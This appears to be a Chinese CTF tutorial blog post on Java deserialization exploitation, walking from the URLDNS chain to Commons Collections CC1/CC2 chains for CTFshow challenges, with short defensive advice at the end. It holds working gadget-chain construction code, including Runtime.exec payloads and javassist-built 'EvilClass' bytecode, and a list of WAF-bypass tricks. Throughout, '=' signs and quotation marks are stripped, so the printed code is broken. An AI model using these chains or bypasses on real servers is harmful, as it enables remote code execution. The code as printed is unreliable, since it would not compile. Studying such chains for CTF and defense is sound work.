CTFshow-Java反序列化实战:从URLDNS到CC链的漏洞利用与防御

张开发
2026/5/21 8:26:05 15 分钟阅读
CTFshow-Java反序列化实战:从URLDNS到CC链的漏洞利用与防御
1. Java反序列化漏洞基础入门第一次接触Java反序列化漏洞是在去年的CTF比赛中当时完全看不懂那些奇怪的payload是怎么构造出来的。经过半年多的实战摸索终于搞明白了其中的门道。今天我就用最直白的语言带大家从URLDNS这个最简单的链开始一步步拆解CC链的利用技巧。Java反序列化的本质就是把内存中的对象转换成字节流需要时再还原回来。这个过程本身没问题问题出在有些类在反序列化时会自动执行危险操作。比如URLDNS链中的HashMap它在反序列化时会自动调用hashCode方法而URL类的hashCode会触发DNS查询。我刚开始学的时候总搞不懂为什么要用反射修改hashCode字段。后来在调试时发现如果不先把hashCode设为一个固定值在put进HashMap时就会立即触发DNS查询等不到反序列化环节。这个细节在实战中特别重要很多新手都会在这里卡壳。2. URLDNS利用链实战解析2.1 漏洞原理深度剖析URLDNS是Java反序列化中最简单的利用链不依赖任何第三方库。它的核心在于HashMap的readObject方法会调用key对象的hashCode而URL对象的hashCode会触发DNS查询。我们来看个具体例子URL url new URL(http://your-dns-log.com); HashMap map new HashMap(); map.put(url, 1); // 这里就会触发DNS查询为了避免立即触发DNS我们需要用反射把url的hashCode临时改成其他值Field hashCodeField URL.class.getDeclaredField(hashCode); hashCodeField.setAccessible(true); hashCodeField.set(url, 123); // 先设个假值 map.put(url, 1); hashCodeField.set(url, -1); // 改回-1才会在反序列化时触发DNS2.2 CTFshow平台实战案例在CTFshow的web846题目中我们需要构造一个触发DNS查询的payload。完整代码如下public class URLDNSPayload { public static void main(String[] args) throws Exception { URL url new URL(http://your-subdomain.ceye.io); HashMapURL, Integer map new HashMap(); // 关键步骤通过反射绕过初始DNS查询 Field hashCodeField URL.class.getDeclaredField(hashCode); hashCodeField.setAccessible(true); hashCodeField.set(url, 123); map.put(url, 123); hashCodeField.set(url, -1); // 序列化并输出Base64 ByteArrayOutputStream baos new ByteArrayOutputStream(); new ObjectOutputStream(baos).writeObject(map); System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray())); } }这个payload在CTF中主要用来验证反序列化漏洞是否存在。我建议新手先用这个链练手因为它的构造最简单而且DNS查询的结果可以直接在ceye.io这类平台看到反馈非常直观。3. Commons Collections链详解3.1 CC1链构造与利用CC1链是Commons Collections最经典的利用链核心是利用TransformedMap的checkSetValue方法。我第一次复现这个链时花了整整两天时间才搞明白整个调用过程。关键点在于ChainedTransformer这个变形金刚它能把多个Transformer串起来执行。比如下面这个链Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, null}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) };在CTFshow的web847题目中我们需要结合AnnotationInvocationHandler来触发这个链。这里有个坑点jdk版本不同会导致利用方式不同。我在jdk8u66上测试成功的payload在更高版本可能就失效了。3.2 CC2链的变种利用CC2链改用TemplatesImpl来加载字节码比CC1更灵活。我第一次看到这个链时被它的巧妙设计震惊了——居然能通过PriorityQueue的comparator来触发代码执行。关键步骤是构造恶意的TemplatesImpl对象TemplatesImpl templates new TemplatesImpl(); Field nameField TemplatesImpl.class.getDeclaredField(_name); nameField.setAccessible(true); nameField.set(templates, 恶意模板); Field bytecodesField TemplatesImpl.class.getDeclaredField(_bytecodes); bytecodesField.setAccessible(true); byte[] evilCode Files.readAllBytes(Paths.get(EvilClass.class)); bytecodesField.set(templates, new byte[][]{evilCode});在CTFshow的web849题目中还需要结合TransformingComparator和PriorityQueue来构造完整的利用链。这个链的优点是能绕过一些限制CC1的防御措施。4. 高级利用技巧与防御方案4.1 绕过WAF的实用技巧在实际比赛中经常会遇到各种WAF拦截。我总结了几种绕过方法使用反射动态加载类名避免直接出现Runtime等关键词对payload进行多层编码Base64URL编码利用冷门第三方库的利用链比如Beanutils、C3P0等分块传输payload避免一次性发送全部恶意数据4.2 企业级防御方案在真实业务环境中防御反序列化漏洞我建议采用多层防护升级Commons Collections等组件到最新版使用SerialKiller等安全组件过滤危险类业务代码中使用白名单控制可反序列化的类考虑用JSON等更安全的格式替代Java原生序列化记得去年我们公司做安全加固时就是通过组合使用这些方法成功堵住了多个反序列化漏洞入口。特别是白名单机制虽然实现起来麻烦些但效果最好。5. 实战中的疑难问题解决在复现CC3链时我遇到了动态代理相关的问题。AnnotationInvocationHandler的构造方法在不同JDK版本中有差异导致payload不稳定。后来发现可以通过LazyMap来间接触发这才解决了兼容性问题。另一个常见问题是字节码生成。我建议使用javassist工具来动态生成恶意类比手动写字节码方便多了ClassPool pool ClassPool.getDefault(); CtClass cc pool.makeClass(EvilClass); cc.setSuperclass(pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet)); cc.makeClassInitializer().insertAfter(Runtime.getRuntime().exec(\calc\);); byte[] bytecode cc.toBytecode();这些实战经验都是在一次次失败中积累的。刚开始可能会觉得反序列化漏洞很复杂但只要坚持调试、多动手实践慢慢就能掌握其中的规律。

更多文章